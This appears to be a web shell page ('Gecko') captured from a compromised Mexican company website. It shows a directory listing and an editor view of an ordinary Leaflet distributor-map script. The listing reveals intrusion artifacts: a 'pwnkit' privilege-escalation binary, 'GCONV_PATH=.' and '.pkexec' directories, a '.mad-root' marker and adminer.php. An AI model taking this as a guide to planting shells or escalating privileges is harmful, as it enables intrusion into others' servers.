Gecko [ beghelli.com.mx ]

Name	Size	Permission
.pkexec	[ DIR ]	drwxr-xr-x
GCONV_PATH=.	[ DIR ]	drwxr-xr-x
.mad-root	0 B	-rw-r--r--
adminer.php	465.43 KB	-rw-r--r--
categories-modal.js	306 B	-rw-r--r--
collapsibles.js	744 B	-rw-r--r--
general.js	3.62 KB	-rw-r--r--
info-rq.js	1.25 KB	-rw-r--r--
login.js	872 B	-rw-r--r--
map.js	3.49 KB	-rw-r--r--
mapAgents.js	3.48 KB	-rw-r--r--
products-gallery.js	2.35 KB	-rw-r--r--
pwnkit	10.99 KB	-rwxr-xr-x
search-agents.js	1.44 KB	-rw-r--r--
success-cases.js	570 B	-rw-r--r--

Code Editor : map.js

// ---------------------------DOM Elements & Variables---------------------------
const showAllBtn = document.getElementById("all-states-btn");
const noDistributors = document.getElementById("no-distributors");
const distributors = [];

// -----------------------------------Classes-----------------------------------
class Distributor {
    constructor(container) {
        this.container = container;
        this.stateId = container.dataset.stateId;
        this.header = this.container.querySelector(".beghelli__collap-header");
        this.content = this.container.querySelector(".beghelli__collap-cont");

this.header.addEventListener("click", this.toggleCollapsible);
        this.toggleCollapsible();
    }

toggleCollapsible = () => {
        let icon = this.header.querySelector("i");
        icon.classList.toggle("fa-chevron-up");
        icon.classList.toggle("fa-chevron-down");

if(this.content.style.height == "" || this.content.style.height == "0px") {
            this.content.style.height = this.content.scrollHeight + "px";
        }
        else {
            this.content.style.height = "0px";
        }
    }

applyFilter = (filterId) => {
        if(this.stateId == filterId) {
            this.container.classList.remove("hidden");
            return true;
        }
        else {
            this.container.classList.add("hidden");
            return false;
        }
    }

show = () => this.container.classList.remove("hidden");
}

// ----------------------------------Functions----------------------------------

const showDistributorsByState = stateId => {
    let stateFound = false;

distributors.forEach(distributor => {
        let res = distributor.applyFilter(stateId);
        stateFound ||= res;
    });
    noDistributors.style.display = stateFound ? "none" : "block";
    showAllBtn.style.display = "flex";
}

const showAllDistributors = () => {
    distributors.forEach(distributor => distributor.show());
    showAllBtn.style.display = "none";
}

const init = () => {
    // Initialize Leaflet map in México
    let map = L.map('map').setView([23.6345, -102.5528], 5); // México Coordinates

// Load base map from OpenStreetMap
    L.tileLayer('https://{s}.tile.openstreetmap.org/{z}/{x}/{y}.png', {
        attribution: '&copy; <a href="https://www.openstreetmap.org/copyright">OpenStreetMap</a> contributors'
    })
    .addTo(map);

// Get Distributors Data
    let data = new FormData();
    data.append("stateId", "allAsJson");

fetch("ajax/distributorAjax.php", {
        method: "POST",
        body: data
    })
    .then(res => res.json())
    .then(json => {
        // Get distributors array
        for(item in json) {
            let id = json[item].stateId;
            let latitude = json[item].lat;
            let longitude = json[item].lon;

let marker = L.marker([latitude, longitude]).addTo(map);
            marker.on("click", () => showDistributorsByState(id));
            marker.bindPopup(json[item].stateName);
        }
    })
    .catch(e => console.log(e));

// Create Distributors
    let _distributors = document.querySelectorAll(".state-collap");
    _distributors.forEach(item =>
        distributors.push(new Distributor(item))
    );
}

// -------------------------------Event Listeners-------------------------------
window.addEventListener("load", init);
showAllBtn.addEventListener("click", showAllDistributors);

${this.title}

Code Editor : map.js